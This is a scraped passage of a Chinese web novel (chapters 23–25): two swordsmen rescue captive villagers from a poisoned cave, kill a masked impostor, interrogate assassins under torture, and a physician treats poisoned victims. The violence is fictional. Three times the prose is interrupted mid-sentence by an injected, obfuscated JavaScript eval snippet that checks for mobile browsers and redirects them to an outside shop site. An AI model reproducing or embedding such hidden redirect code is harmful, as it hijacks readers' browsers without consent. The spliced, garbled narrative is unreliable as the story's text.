趁着浓雾遮去那人的视线,顾於眠一下闪到那人的身后,将几根银针刺入那人的太渊穴与膺窗穴,那人登时全身麻痹,只觉双腿一软,跌倒在地。 他还挣扎着想撑起身,浑身软骨却令其重又摔回地面去,身子磕在那些尸骨上,被尖锐的裂骨给划出道道血痕。 严卿序用焚痕一挑,那青铜面具便“哐当”一声落在地上。 谁知那瘆人面具下的面容竟如此熟悉,容貌倾城,尤其是那双好看得若一汪清潭的眸子,如出一辙的轮廓,甚而雪白的肌肤也并无二样。 这一身红衣之人怎会生着张同顾於眠一模一样的脸? 严卿序蹲下,将手探到他耳后,想扯下易容的面具,可却没发现易容的痕迹,他登时愣在原地。 “於眠这……” 那人冷笑一声,费力将手一抬,轻轻握住严卿序的手,将那还没来得及收起的手贴在自己的脸上,上下抚动,眼底尽是玩弄的轻蔑笑意。 严卿序一惊,将手一下抽了出来,“你做什么!?” 那人从严卿序一瞬而过的慌张亦或是惶恐中看出些不寻常来,笑得更是猖狂了些。 严卿序其实很清楚,纵容貌如出一辙,眼前人却一点也不像顾於眠,从头到脚都不像,这相似的皮囊中灌的是致命的毒药。 “你也挺疯的。”,那人脸上带着讽刺的笑容,眼睛直勾勾地盯着严卿序,像是要把人看穿一般。 “再动手动脚的,小心我把你的手给砍下来……”,顾於眠擦掉从额间淌下的血,绕过严卿序,蹲在他面前沉声道。 “呵……”,那人挣扎着倚墙坐起,“顾於眠,你与我何异?都是罪人,你可不配走上至仁至善的高台。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真该死,都该死……”,他不停骂着,却没吐出半点有用的信息来。 “说够了?真浪费时间……同情恶人的才是真的蠢。什么我们造的?血口喷人前还是先看看自己吧。” 还不等他反应过来,顾於眠便一剑刺入了那人臂膀,快到连他自己都讶异的地步。他眼见生着同自己一模一样的脸的人双目圆睁,下意识地用手握住了穿肩而过的朝云。 那双白皙的手上很快也被锋利的刀刃划出血痕来,顾於眠眼都没眨一下,朝云便被抽了出来。 那人“啊”地喊出了声,一口浓血登时便喷了出来。 只是他还是强撑着起身,双手颤抖,“你们赢不了……”,那人捂住肩上的伤,笑着,“等你们赶回去,添九的百姓都该死完了……” 见他还在挣扎,顾於眠一脚踩在他的腹部,俯身道:“扮我,也得扮得像些才行,别把人都当傻子。” 他于是蹲了下来,眼睛盯着那人,眉目弯弯,竟让那不怕死的人生了些惧意,“这调虎离山来得实在可笑。” “……什么!?” 顾於眠冷笑一声,将朝云刺入了那人的心口,那人咿咿呀呀地没说出一句话来,只是一口浓血喷在顾於眠脸上,又向下淌。 不过片刻间,那人便没了气。 “早知道什么都问不出来,就不该浪费时间听他废话……”,顾於眠背对着严卿序,低声说着,像是窃窃私语着什么,又像是嘀咕嘀咕地抱怨。 严卿序看不见他脸上的表情,只看见顾於眠靠近那人,又在他脖颈处摸了摸,像是扯到什么,一用力,拽下一片淌着血的东西来,再细看,那东西上竟还连着密密的乌发。 登时,那张血淋淋的脸便显露出来,自脖颈处至头颅顶,全是假的,内里只剩爬满疮疤的鲜红肌肤,连根头发都没生,活像个不人不鬼的怪物。 “人皮面具,用的都是从活人身上扒下来的皮肤,他用几十人的性命换来个遮丑的布,”,顾於眠说话的声音很轻很轻,严卿序却听出其中的颤抖来,“偏偏还要画我的面……” 半晌,无人说话。 顾於眠瘫坐在地上,掩着面,只低低道:“卿序,让我自己静静吧……不用多久,我不会耽误事的……” 严卿应了一声,却在他身侧坐下了。 他什么也没说,顾於眠却清楚身侧之人是这寒意渗骨的深坑里唯一的温度。 顾於眠用他还干净的长袖胡乱擦着脸上的血,那血从额间向下淌,两人的血融在一起,倒分不出是不是自己的。 “於眠。”,严卿序哑着嗓子唤他。 顾於眠回过头去,严卿序便看见了那一刹而过的婆娑泪光,他的眼中通红得似烙铁的炉子,那月白色的长衫上染了污浊血色。 “我穿不得白衣。” “没有穿不得,你穿白衣很好看,”,严卿序避开了他的话外之意,“我扶你起来吧。” 继而严卿序起身向他伸出了手。 那宽大修长的手放在眼前,像救命稻草,顾於眠甚至没有片刻犹疑便紧紧握住了。 握住的那一刹,他像是想到什么,猛然抬头,便见严卿序笑了,像春柳扶风荡漾。 “没事的。” “都会好的。” 顾於眠第一次不敢直视他人之目,竟低下了头,也不知在怕什么,只是有些瑟缩。 心愧难安。 23. 恩人 顾於眠没敢耽搁,两人起身后便进了那黑黢黢的石门。 那石门接着一个长廊,里边很暗,看不大清东西,只能隐隐约约听见蝴蝶扑翼的声音。 严卿序也不敢太明目张胆,惟恐惊动了血蝶,只汇了些光在指尖,勉强照着路。 但那廊上许是沾了血,有些湿滑,还散落着些碎骨,一不小心便会绊倒。 顾於眠心中有事,且跟在身后,什么都看不大清,像是瞎子走夜路,循着严卿序的气息缓缓前移,不经意间总会一趔趄。 虽是没摔,但几次下来,本便在意的严卿序终于忍不住开了口—— “於眠,我……牵着你走吧?” 严卿序觉得喉中莫名干涩,还轻轻咳了声。 顾於眠起初没听太清,偏了偏头问他说什么。 严卿序哑着嗓子,压住内心的悸动,温柔道:“这路不好走,摔了便不好了。我……牵着你走吧? ” 言罢,他缓缓伸出了手。 他还微微移开了目光,惟恐顾於眠看见他眸中的惶恐与慌张。 谁知顾於眠压根没多想,听了那话,还挺高兴,“多谢多谢,卿序可真体贴!” 言罢,他便握住了严卿序的手,“走吧。卿序如此温柔,我若是女子,此刻定会心潮澎湃呢!” “女子也不一定会为这些小事心动吧?”,严卿序清了清喉咙,笑道,他觉得顾於眠的手比自己纤细不少,但骨骼分明,修长好看。 “说的也是。昭安还有我家隐卫成日同我讲些市井戏文,听得我都走火入魔了哈哈哈。” 严卿序听了那话也笑了,他轻轻牵着顾於眠,像是在护着和璧隋珠般,每当顾於眠的手微微收紧,他便觉得心中“怦怦”响声格外清晰。 “方才的调虎离山什么意思?”,严卿序转了个话题,他并不愿让顾於眠察觉自己越界的感情。 “这说来话长了。你无需担心,待事情结束了,我再详细同你讲。” 两人虽你一句我一句的说着,但也没慢下脚步,长长的回廊,两人疾走也不到一炷香的功夫便到了头。 眼前是一个阴暗的牢房,少说也有十几间吧,只是那些牢中要么无人,独留下斑斑驳驳的血迹,要么便是躺着冰冷的尸首,上边还密密爬着些血蝶。 牢链在那些可怜人的尸身上勒出青紫的痕迹,瘦弱的躯体不知已经成了多少血蝶的藏身之所。 刺鼻的血腥味一点点钻入两人的鼻腔,二人却没半点犹疑,直直往深处走,终于在尽头处听到了低低的呻吟声。 严卿序向顾於眠示意了一下,轻轻松开了牵着顾於眠的手,将那半掩的铁门给推开了。 登时,那低矮的屋中开始躁动起来,呜咽抽泣的哭声、拖动锁链的闷声、挪动身躯时布料的摩擦声、咬牙切齿的咒骂声……各式各样的声音诉尽了无辜百姓遭遇的苦痛。 未见人影,先闻其声,压抑之感早已沉沉挂在心尖上。 严卿序走进去的时候,扫视了下屋内,发现那些被牢链锁着的百姓大多都死了。 活着的不超过二十人,尸骨却超了半数。 阴暗之所,透亮纯净的眼眸便显得格外醒目。 一个十五六岁的少年缩在墙角,整个人都在抖着,绝处逢生,却立于悬崖峭壁之上,任谁不胆战心惊? 男孩瑟缩着,一只手藏在身后扯着什么,那双明亮的眸子却紧紧盯着不速之客。 “大家别担心,我是来救你们的……” 严卿序见那些百姓瑟瑟缩缩,满眼恐惧,知道自己的话有多么苍白无力,于是拱手作揖,“在下百权严卿序,我一定会救你们出去的。请恕我……我来迟了” 严卿序之美名早已是传遍四地,众人闻言皆是一惊,还有些不相信。 只是见其面容温和,举止又清润有礼,难以言说的安心之感似春雨绵绵,皆尽淋在干涸的土地上。 在黑暗中挣扎了那么久,只这一点微光便能照亮他们的整个世界。 绷紧的弦缓缓松开来,谁不愿来者是神仙而非恶鬼? 只是,顾於眠踏入屋的那一刹,像是将心弦又拨响,屋中竟有人失声尖叫起来。 不单顾於眠,连严卿序也为之一愣。 严卿序忙回过身去,未曾料到竟同顾於眠四目相对。 在严卿序那双清澈的眸子中,顾於眠看见了满面血红的自己。 他又低头瞧了瞧,长衣上也沾了不少血,想来整个人活像是地底阎罗。 顾於眠看得出来他们从眼底传来的深深恐惧不假,换做平日,他会说些玩笑话,舒缓舒缓气氛,只是方才那人的话还留有余温,甚而淌在脸上的血还热着,他根本轻松不起来。 于是他强挤一个笑容,“大家别怕,若是我令你们忧心了。那……我便先回避下好了。” “抱歉。” 当他轻轻落下两字时,顾於眠觉得自己像是无理取闹的黄毛小儿,这时候有什么理由退缩?他要把所有事都推给严卿序吗? 不,他不愿。 但,他知道自己怕了,怕那些清清白白的百姓意识到自己的所作所为。 正因为他知道自己并非所谓的“漱雪澄明”,因而他连介绍自己的勇气也没有。 不舞之鹤,充什么芝兰玉树? 顾於眠后退几步,将自己藏在了严卿序身后。 百姓中无人敢吭一声,都带着审视的目光瞧着眼前的人。 顾於眠还在不停往后退,眼见的要退至门外去,只是突然地,他的手一下被严卿序抓住了。 严卿序抓得很紧,不似平日或是方才那般轻柔,他已无心再去思索那日被顾於眠甩开手的莫名心酸,他只知道此刻,他没有放开的理由。 严卿序第一次没有理会顾於眠的抗拒与瑟缩,像是耍了性子的孩童,竟带着些许同他不相称的蛮横。 他自顾自地将顾於眠拉到跟前,笑道:“大家,方才是这位公子收拾了那贼人,可能身上沾了些血,还望大家别介意。” 严卿序用词用的巧妙,“收拾”而非“杀死”,只希望尽可能地缓解百姓心头之惧。 果不其然,闻言,百姓脸上表情逐渐温和下来。 只是顾於眠依旧不敢抬眼看那群百姓,害怕他们从自己闪躲的目光中看出谎言的影子来。 但,作茧自缚之人终究是缺了些自知之明。顾於眠不知自己在那群陷入泥沼,不仅挣扎不得还愈陷愈深的百姓眼中是如何的如仙如神。 起初,只有一个嘶哑的声音轻轻道:“多谢恩人……” 而后,愈来愈多人跪在地上,行起大礼来,口中都在喊着,“多谢恩人!” 那墙角蜷缩的少年也放下戒备,他虔诚地跪在地上,对着顾於眠和严卿序磕了一个响头。 这百姓之举着实令两人不胜惶恐,两人忙伸手去扶,让他们都直起身来。 又听得细碎声音,顾於眠瞧见那少年的肩攀上一双白胖的小手来,一个约是五六岁的女孩露出了写满疑虑的脸来。 女孩双眼圆溜溜的,像是装了一湖清水,纯净无暇,闪闪发光。 想来童真无邪,顾於眠掩了掩面,唯恐吓到女孩。只是,她见着脸上沾血的顾於眠竟也不怕,只是软糯糯地喊了声——“恩人哥哥”。 这一声喊得一群人眼中都泛起泪光来,顾於眠亦觉得鼻中酸涩。 只见女孩摇摇摆摆地穿过一群人,径直走到顾於眠面前,咿咿呀呀地说些什么听不太清。 只是,她向顾於眠伸长了手,一副索要拥抱的模样。 顾於眠受宠若惊,蹲下,将那女孩轻轻拥入怀中。 才五六岁的孩子呐,就趴在顾於眠的耳边,“轻声”说了句——“阿娘说‘滴水之恩,当涌泉相报’,我会报答您的。” 孩子那带稚气的声音传入每个人的耳中,呜咽哭泣声于是在屋中一点点散播开来。 “不用你报答,你们都好好活下去便是对我最好的回礼。” 顾於眠轻轻抚摸着女孩的头,又哭又笑,只是他觉得男子汉大丈夫,怎可轻易流泪?于是拼命将还要下淌的泪给憋了回去。 还真神奇啊,他已经好久没落过泪了,暂不提苑山那莫名其妙的流泪,那梦魇再苦再痛,他也没再哭过。 三年前的点点滴滴又似拦不住的洪水般冲撞心防,回忆如潮涌来,他希望和解,却从未真正原谅过自己。 “为什么死的人不是我?” 虚无缥缈的轻烟掀开了床前薄纱。 “阿眠……你……替……替……我好好活……活着……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775683|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他紧紧拥住陆倾行,然而只是一瞬之间,手里只剩一滩血水。 他从噩梦中惊醒时,已至子时,窗外连月光都没散在枝桠上,昏黑的晚夜里尽是灰林鸮凄凄惨惨的啼叫声,像极了亡魂喊冤。 然而府中却是灯笼高打,侍从忙忙碌碌的脚步声不绝于耳,他们喊着“公子醒了”,顾於眠却不知他们唤的是谁。 他的床边密密围着一群人,父亲、母亲、常叔、隐卫……手上也不知何时已挂上条祈福的红线来。 他无力地抓住母亲伸来的手,哑着嗓子,近乎撕心裂肺地问,然而那声音是有气无力的,只像是一股凉风入了耳。 “倾……行呢?” 母亲的面容是憔悴的,她的眼角很红,脸上的泪痕还没擦净,便又有泪淌了下来。 热泪沾襟,张口却无一言。看不下去的父亲于是接过话来。 “倾行……没了。” 没了。 噩梦与现实重叠的惊愕与恐惧感一瞬间撕碎了他所有的理智,他瞪大双眼,低头看向自己的双手——满手都是赤红的血! 他忙垂下眸,耳边却皆是“你杀了他”的尖声叫喊。 “啊——啊——啊!” 刚醒的顾於眠又昏了三日,再醒时,他便什么也不说,只自己蜷缩在床角哭,不分日夜地哭。 泪水中模模糊糊映出的都是那温温柔柔的小公子的面容,一句“阿眠”如春莺栖柳,只挥墨几笔落下,便是一副清新淡雅的早春山水图。 但他死了,无休无止的梦魇却找上门来。 常柎说那不是梦,是毒。 顾於眠却不觉得,这是他要赔的罪。 女孩用白胖的小手戳着他的脸的时候,顾於眠如梦中醒。只一瞬之间,竟已过三年的不真切感令他有些恍惚。 “恩人哥哥,好看!” “嗯?”,顾於眠侧过脸,不明白她说的什么。 “缘缘在夸您生得标志呢!”,那少年笑着走过来,又伸手抱过女孩,轻轻对她道,“缘缘乖,不要给恩人哥哥添麻烦啊。” 女孩闹别扭般将头埋在了她哥哥的肩上,口中嘟嘟囔囔不知说的什么。 顾於眠扑哧一声笑了,“多谢多谢!” 他不好意思地摸了摸后颈,“不过,我有些事斗胆一问,还恕小兄弟别介意。” 少年笑得露了齿,同方才那眼露凶光的少年判若两人。 “恩人请讲,我们没什么介意的了,能活下去都没想过。” “大家都是哪里的人?怎么会被抓到这来?” 屋内登时便似炸开的锅一般,各式各样的答案都有。禮间的、陌成的、渭于的、百权的,四地都齐了。 而说起在这的原因,都说是一梦醒来便在这了。 但是,单这间屋中便有近五十人,更别提一路走来,数十间屋了。如此庞大的数量,四地却无一处发觉,连村民失踪的传言也没有,这不免来的有些蹊跷。 顾於眠没再多问,只和一旁为几个受伤的村民包扎的严卿序道:“这地底空气稀薄,血味太浓,阴气也重,不是人该久待的地方,我们快些出去吧。” 两人于是领着人出了牢房,施术法将百姓们都带出了深坑外。 站在上边百无聊赖的谢尘吾将血蝶杀得差不多了,满地都是血蝶碎裂的躯体,琉璃状的翅翼散在地上还闪着光。 “他怎么了?”,谢尘吾见两人回来了,将剑收回剑鞘,皱着眉问,“闷坐在那,问什么都不回……” 顾於眠无奈笑笑,在江念与身前挥了挥袖,他的身子便逐渐透明起来,到最后连个影都没有了,“幻术罢了。” 谢尘吾和严卿序一愣,这才反应过来。 “顾於眠,我们是有多不可靠?连我们都要瞒。”,谢尘吾冷冷瞥着顾於眠。 “戏开场了便得演得真些嘛,若人人都知道,不免露出马脚来。”,顾於眠擦了擦脸上的血,笑问谢尘吾,“你若知道念与是假的,你还会同他讲话么?” 谢尘吾冷笑一声,“呵……把人当傻子,可还尽兴?” 他显然语气不善,怒意从他那双琥珀色的瞳子中明明白白地显露出来,只是他却没再多说什么,兀自去查看那些百姓的伤情去了。 “调虎离山……城府真深……” 24. 常柎 送百姓出了坑洞,两人又到那偌大的牢房里摸找,只从早已经熄了火的炉中寻到些未烧尽的碎纸,上边隐隐看出画着些药草,两人认不全,便收入行囊里。 “还是没寻到解药……”,半晌,严卿序叹了口气,走到了泛着血色的溪边。 顾於眠扫视整个洞穴,犹疑道:“牢中人不是用来喂血蝶的,若是不出所料,是种植毒草为先,囚禁百姓以进一步制尸鬼为次,血蝶纯粹是血腥味引来的,恰巧在这深山洞穴,又利于造穴,血蝶便住下了。” 顾於眠用手捧起血红的溪水,“这里边混的绝不单单是吃了毒草的百姓的血,还应有其他的辅助的毒草药材,但凭我们的药理造诣,恐怕还得不出。” “可所谓‘造尸为仆’,怎么连一个尸鬼也没看见,何况那深坑里有那么多白骨,既然想造军队,为何又要把他们杀了?”,严卿序也蹲了下来,瞧了瞧那浑浊的水。 顾於眠又想起坑下那男子说的话来。 “这炼狱便是你们造的。” 顾於眠犹豫道:“要么是他们临时改了主意,但这可能性微乎其微,”,顾於眠擦了擦有些疲惫的眼睛,“要么便是……占山为王,种植毒草的,同杀人的根本便不是同一批人。” 严卿序抬头望了望穴顶,上边的蛛网已经断了,被谢尘吾用术法成片成片杀死的血蝶还悬在上面,在穴中凉风吹拂下晃晃悠悠,欲坠不坠。 他知道顾於眠的意思是,解药根本拿不到,或者根本就不存在解药。 一群人为了炼阴兵而种毒草,但鸠占鹊巢后,被喂了毒草同其他药材的人被大量杀死,积成了坑下白骨堆,混杂着不知多少种毒草的血水汇入小溪,溪水中也带上了毒,又在血蝶幻境作用下,血水变得同溪水无异,当真是瞒天过海。 只是,还说不通,后来者为何要占这洞穴,吃力不讨好的事又为何要干? 顾於眠拍了拍他的肩,像是读懂他的心一般,“我现在也搞不清楚,再看看吧,率尔操觚可出不了好文章。” “只是,总要给百姓一个交代……” 血蝶幻境解开后,从穴外吹来的风送来阵阵雨后泥土的气息,清风卷着严卿序的发,霁青色的长衣随之而动,倒勾勒出严卿序高瘦健壮的身躯。 他拿着剑站到穴口处了,那柔和的光也似挑人般,散了翩翩公子满身。 他周遭还站着许多欢喜的百姓,人们大多盯着那俊逸温润的公子看,眼中是感激,也是钦羡。 顾於眠移开目光,而转身向昏暗的穴深处走去,那里还坐着几个身上有伤不想见光的百姓。 他缓缓蹲下,才终于觉得喘过气来,像是这方寸之地才属于自己。 “还好么?我们出去吧,我一定会送你们回家的。”,顾於眠笑着向那几个惊魂未定的百姓伸出了手,将他们轻轻拉了起来。 而后顾於眠笑着回过身去,掩盖住心底的歉意。 自诩假仁假义者,何敢玷污干干净净之人? 莫名的忧虑令其异常盲目,顾於眠转身而去却不知那些百姓满布血丝的眼睛里又噙满了泪。 “恩人……” ------------------------------------- 铁铸的锁链捆在几人的手臂与腿上,被长剑划破的夜行衣露出其主人满身的血痕来,浓血凝固在衣裳上,显现出黑紫的光泽。 一人大口喘着气,地上是他方才被硬扣喉吐出的毒药。 他咽了口唾沫,却满口血味。 “去你娘的狗东西,连谢家地盘都敢撒野!找死也得找个适合的地方!”,方濋手里拿着个长鞭,鞭上一片赤红,还在向下滴着血。 “把你知道的都供出来,我没准还给你个痛快!” “我不知道!” “啪”,血肉绽开的声音淹没在长鞭挥打之声中。 “我问你,十五族内有叛徒,对不对?” “我不知道……” “啪!” 那人吐了口血,溅在地上开了朵娇艳的花。 “我再问你,指使你干这事的人,在陌成是不是?” 那人还是没吐出话来。 方濋不满地深吸了口气,用鞭子再狠狠一抽,那人便断了气。 他低骂了句,“他娘的,害了那么多人,就这么死了……” 他又接过一旁侍卫拿着的湿布,拭了拭手上的血迹,眼中都是怨恨。 牢门口,沈吟离抱着臂默默看着,见方濋什么也没审出来,他便迎上前去,拍拍他的肩,“后两个我审。” “这……沈公子,这恐怕不合适吧?”,方濋擦了擦脸上的血,讷讷道,“我们家公子要怪罪我办事不力了……” “别担心,我自个再同尘吾解释。你帮我唤念与,让他半个时辰后来一下便成。” 言罢,沈吟离挽起双袖,见方濋还在犹豫,于是笑道:“好歹我也是安晏营里出来的人,你放心吧。” 方濋不好意思地点了点头,帮他把石门给掩上了。 他当然知道沈吟离是安晏五大营出来的人,年纪轻轻便成了安晏将军的人自然不一般。 只是,沈吟离生得一副柔软模样,好似没有脾气,对谁都是一副和善模样,究竟有何本事镇住军营里鹰虎般烈的兵?又该如何撬开那些嘴封的严实之人的嘴? 他不懂,只是半个时辰后,他带着江念与到牢房的时候,牢中已是一片狼藉。 一个刺客倒在血泊中,额上开了个黑黢黢的洞,一把刀还扎在那洞中。 沈吟离见他们来了,便把刀猛地抽了出来,浓白浆液霎时喷溅一地。 那刺客没了气息,只是还瞪着眼,口中牙已是参差不全了,半截舌头掉在外边。 另一个还挂着锁链,吊着一口气,却是印堂发黑,七窍流血。 地上散着五六颗牵着血丝的牙,一旁的炉中,烧红的烙铁还在滋滋地冒着烟。 那瘦高的身影藏在昏暗的牢房之中,像是一缕幽魂。 他浅色的衣裳上沾满了血,手上还有被抓伤的印痕,只是他却像是个没事人般,又站到桌边挥墨写起什么来。 满地都是溅开的血,几乎无处落脚,方濋于是踩在那些血浆上走,每走一步便觉得脚底拉起粘腻的血丝,混着水发出“嗒嗒”的响声。 沈吟离闻声回过头来对他们笑,“他招了,”,继而他递过张写满字的纸来,“只是信与不信还要你们自己掂量。” 沈吟离笑得一如往常,方濋却觉得不寒而栗。到底是能当将军的人,怎样都笑得出来。 但方濋毕竟也不是个天真之徒,他向旁边站着的侍卫递了个眼神,那侍卫便心领神会地点了点头——这是在说沈吟离所言非虚,未有隐瞒。 说到底,他还是信不过外族人给的东西,这谢家最不缺的便是心眼,也只有这种环境才养得出谢尘吾那般多疑的傲骨来。 只是,江念与也见怪不怪,绕过那倒在血泊中的尸体,便问,“吟离,寻我何事?” “於眠说有客要来,我现在不方便迎客,还望你能帮我接待下。”,沈吟离将满是血的手浸在清水中细细擦洗着,笑道。 江念与微微吃了一惊,“客?谁?” “渭于,常先生。” ------------------------------------- 淡淡的茶香飘在添九那处府邸里,侍女们都立在门外,一白袍医者端正坐着,垂眸闭目,桌上放的白瓷杯合着盖,客人显然对这茶并不很感兴趣。 那人的黑发中已掺入了些银丝,并不蓄须,看上去温和有礼,并不给人凌厉的感觉。 常柎对外一直是个谦谦有礼的君子,不说违逆之言,亦不讲粗话。 他一向为人谦逊,落落大方,是个会看人眼色行事的人物,哪怕狂妄之辈指着他大放阙词,他连眉头也不会皱一下,永远都是一副温和的笑脸。 只是,那不过是表象罢了,常柎其人内心狂放不羁,倘若有人对他破口大骂,他面上不表现出来,心里却把那人的祖宗问候了几百遍了。 他可不分什么三六九等,除了对家主和家主夫人尊重些,对顾府其余人可完全不会藏着掖着什么,顾於眠作为顾府公子便深受其害。 每当顾於眠做错事时,他常常对着顾於眠便是劈头盖脸地一顿臭骂。 毕竟,顾大家主和他夫人都是心善之人,可干不了严厉管教孩子这档子事,所以也就眼一闭心一横,把顾於眠扔给了常柎管教。 其实说是“扔”也不大对,顾於眠这家伙从小便是打不跑的,就喜欢缠着常柎,还那么丁点大的时候,便摇摇摆摆地要常柎抱,常柎起初还觉得孩子小,圆滚滚的还挺可爱,便也纵着他。 哪知顾於眠越大便越是烦人,他是个喜清净的医者,可那顾於眠三天两头上房揭瓦,不是半夜林中藏,便是清晨不见影,成日在他身边絮絮叨叨说个不停,说得他烦透了…… 都是那帮隐卫惯出的逍遥公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775684|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脾气,捧在手心怕化了的公子能有什么作为? 因而,常柎对顾於眠的撒娇耍赖从来不看在眼里,犯错便罚,罚到他怕为止。 时至今日,常柎不免觉得顾於眠现在没长歪,定有他的一份功劳。 然而,性格跳脱没有分寸便罢了,顾於眠令他最为恼火的还是那死活不吃药的性子,自小便是又哭又闹,十个隐卫都灌不进药。 但到底对常柎还是心存畏惧的,他常柎人一坐那,再苦的药,顾於眠三两下也得喝个干净。 因此,他可得意了。 实话说来,常柎平日里可没闲时间胡思乱想,这会他闭目养神,想的都是顾於眠那小崽子又仗势拉他出来收拾烂摊子了。 他揉了揉眉心,不惹人注意的轻轻叹了口气。 他在顾府待了十六年了,旁人看来淡泊名利、无所牵挂,以他之言,便是“惟愿青蝇吊客,庸碌一生,不问世俗”。 他从来没有要成家的打算,知情的人万不敢提,不知情的也没人敢越过顾家给他做媒牵线。有人说他妻子死了,也有人说他根本没成过亲。 顾府无人提过他的出身,以至于顾於眠不知他从何而来,渐渐地便默认了他是顾家的远亲。 其实他也不是没问过,只是常柎总斜眼瞧他,一边捣药一边敷衍称自己是流浪乞讨到的顾府,家主心善便收留他了诸如种种。 顾於眠压根不信,知道就常柎这高超的医术,再怎么也不可能混不到饭吃,但他不肯说,顾於眠便也没问下去。 “常叔!”,江念与笑着踏入屋内,“抱歉,让您久等了。” 常柎睁开眼来,江念与自小常住在顾府,也算是他熟识的小孩。 只是常柎见一旁有人,又摆起了温润君子那一套,“江公子,怎么是您来,不是说沈公子要来么?” 江念与见他那样,也心知肚明,便吩咐让侍女们下去了,又将客堂门掩上,才笑道:“吟离现在不大方便,我来替他。” 言罢江念与将几封信恭恭敬敬递给常柎,“吟离将患病的百姓的情况都记在这上面了,说是您先看看。若您方便的话,便去营帐那里亲自看下。” 起初,常柎还有些不屑,怎知他接过去只瞥了几眼,眉心便拧在了一块。 只见他猛地站起,砰地一声重重拍在桌上,咬牙切齿道:“畜生玩意!” 他眼见的火冒三丈,“带我去营帐,那些不要脸的狗东西,往百姓水里倒的什么……” 谢家并不希望将事情闹大,顾於眠给他写信时也只是借私情求他帮个忙,他怎会知道事态严重至此?这会想来,不是大事又怎么会劳烦他从禮间赶到这陌成来? 江念与忙将门给打开来,领着他去了。 常柎到营帐后也没声张,自顾自地将袖子都撸了上去,查看起那些百姓的伤情。 距沈吟离记录不过一日,他们的病情却明显恶化了,有人的脸已经肿得不成样子,密密麻麻的疮疤爬在肩上,像肥大的虫蚕食着油尽灯枯之人的命。 沈吟离借术法止疼是个治标不治本的法子,如今痛苦加剧,那麻痹人的术法便不管用了。 常柎于是深吸了口气,在百姓身边铺开了自己的药包。 给百姓喂了些麻沸散后,他便从中取出个银针来,轻轻扎入囊肿之位,又微微使劲将其挑破开,里边于是流出鲜红的脓水来,常柎用一个小瓶接了。 继而他又拿出一个金色的小瓶,倒出个缁色的药丸,给百姓喂了进去。 “挨千刀的……”,常柎骂骂咧咧,气得几乎发抖,“把人害得有多苦啊……” “给我几日……”,常柎又气冲冲地朝一旁候着的方青袡落下句话,便到了专门为他新扎的营帐里琢磨解药去了。 “常师傅这般有信心?”,方青袡向一旁的老医师轻声问道。 “没有才怪呢!渭于常家世代为医,只是从来都是只闻其名不见其人……但遇着疫难,哪次又不见他们的身影?若不是……常家没了,他常柎也不会在这里……” “没了?” “十六年前,墨家屠的……他未过门的妻子可是魏家的,还是魏家主牵的线呢……谁知道,连魏家也会被屠……哎呀可别提了……”,老医师拍了拍方青袡的肩,“都是过去的伤心事了,都放下吧,提起来谁都不会高兴。” 过去?放下? 真的有那么容易吗? 方青袡不知道,他身边有太多放不下过去的人了,或许……连他自己都放不下…… 25. 责罚 再走不远便回到添九了,只是眼前还是一片生着绒绒青草的地。 清风扫过天地间,像是将一切污浊都带走般,余下的尽是灿灿的日光与散着馨香的花丛。 严卿序看见身前的顾於眠牵着缘缘的小手,不知正讲着什么玩笑话,逗得女孩哈哈大笑。 顾於眠也在笑,清澈的眸中映着山河大地,眉目弯弯,像是卸下了一身的重甲,将血蝶穴中的颓丧与不堪都埋在了昏瞑深坑。 昨日种种似乎都平息下来,空旷的天地间,只余下眼前心安自在。 若能一直这样该有多好?一切都干干净净,像是一湖清水,涟漪圈圈,随风微起波澜,不惊不乱。 苍山如黛,岁月静好。 缘缘奔去他哥哥那边去了,严卿序便笑着填了顾於眠身旁的空位。 只是,他又正了正色,才有些局促地张口,“於眠……昨日在坑中,我……为难你了,对不住。” 谁知顾於眠闻言扑哧一笑,“我以为你要说什么呢!你怎总如此正经呀?那哪里算为难呀?你是没有见过常叔拿着木棍追着我打的样子,那样的才叫为难呢!” 顾於眠笑得眼泪都出来了,“我还得谢你呢,我……” 顾於眠突然不说了,只是看着严卿序,那笑容敛去几分,不动声色地藏住心底躁动与阴郁。 “只是我倒挺好奇你怎会突然那般强硬,倒不似你平日那般。” 严卿序知道他有话没说,但他也没问。 “我怕你会后悔。”,严卿序侧过头同顾於眠四目相对,“於眠……你要记好了,不属于自己的苦就不要背在肩头,莫名的冤也不能一味受着,那样对自己不公平。” 顾於眠见他说得认真,若有所思地点了点头,“委屈……自己的事我自己不会做。” 严卿序见他微微垂下了头,像是在苦恼什么又像是在乖乖认错。 风起,叶惊。 情乱,心动。 莫名的心痒令他下意识地将手轻轻抚在了那乌黑柔软的发上,短短一刹便让二人皆愣在原地。 五雷轰顶,鲛跃龙腾。 严卿序只觉脑中嗡地一声,他方才这是干了什么傻事?! 无耻,卑鄙,登徒子…… 严卿序猛地将手拿开来,像是受惊的刺猬,“抱歉……抱……歉,我不是有意的,我……”,严卿序慌张得连话都说不全,整个人肉眼可见的忙乱。 他慌慌张张垂头作揖赔罪,“对不住……” 